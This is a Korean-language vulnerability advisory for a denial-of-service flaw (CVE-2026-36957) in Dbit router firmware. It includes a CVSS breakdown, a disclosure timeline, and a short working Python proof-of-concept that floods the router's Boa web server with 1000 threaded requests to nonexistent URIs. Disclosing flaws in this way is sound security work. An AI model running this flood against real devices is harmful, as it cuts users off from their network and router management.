
CVE-2026-36957에 대한 개념 증명(PoC)으로, Boa 웹 서버에 대한 HTTP 플러드(Flood)를 통해 Dbit 라우터 펌웨어의 서비스 거부(DoS) 취약점을 악용하여 리소스 고갈 및 시스템 정지를 유발합니다.
CVE ID: CVE-2026-36957 날짜: 2026-04-29 발견자: Kirubel Solomne 공급업체: Shenzhen Dibit Network Equipment Co., Ltd. 제품: Dbit Router 펌웨어 버전: V1.0.0 CWE: CWE-400 - 통제되지 않은 리소스 소비(Uncontrolled Resource Consumption)
Dbit Router 펌웨어 V1.0.0은 Boa 웹 서버 URI 핸들러를 통한 서비스 거부(Denial of Service) 취약점에 노출되어 있습니다. 존재하지 않는 URI에 대량의 HTTP GET 요청 플러드를 전송함으로써, 공격자는 파일 디스크립터와 메모리 버퍼를 포함한 핵심 시스템 리소스를 고갈시킬 수 있습니다. 이로 인해 커널 교착 상태(deadlock) 또는 시스템 정지가 발생하여 웹 관리 포털과 모든 라우팅 기능이 비활성화됩니다.
CVSS v3.1 점수: 7.5 (높음)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| 지표(Metric) | 값(Value) |
|---|
| 공격 경로(Attack Vector) | 네트워크(Network) |
| 공격 복잡성(Attack Complexity) | 낮음(Low) |
| 필요한 권한(Privileges Required) | 없음(None) |
| 사용자 상호작용(User Interaction) | 없음(None) |
| 기밀성 영향(Confidentiality Impact) | 없음(None) |
| 무결성 영향(Integrity Impact) | 없음(None) |
| 가용성 영향(Availability Impact) | 높음(High) |
import requests
import threading
TARGET = "http://192.168.10.1"
def flood(i):
try:
requests.get(f"{TARGET}/nonexistent_{i}", timeout=2)
except:
pass
threads = []
for i in range(1000):
t = threading.Thread(target=flood, args=(i,))
threads.append(t)
t.start()
for t in threads:
t.join()
print("Done. Check if router is still responsive.")
예상 동작: 서버는 연결을 제한하고 안정적으로 유지되어야 합니다. 실제 동작: 라우터 웹 인터페이스가 응답하지 않게 되며, 수동 재부팅이 필요합니다.
| 날짜 | 이벤트 |
|---|---|
| 2026-04-29 | 취약점 발견 |
| 2026-04-29 | MITRE에 보고 |
| 2026-04-29 | CVE-2026-36957 배정 |
| 2026-04-29 | 공개 공개 |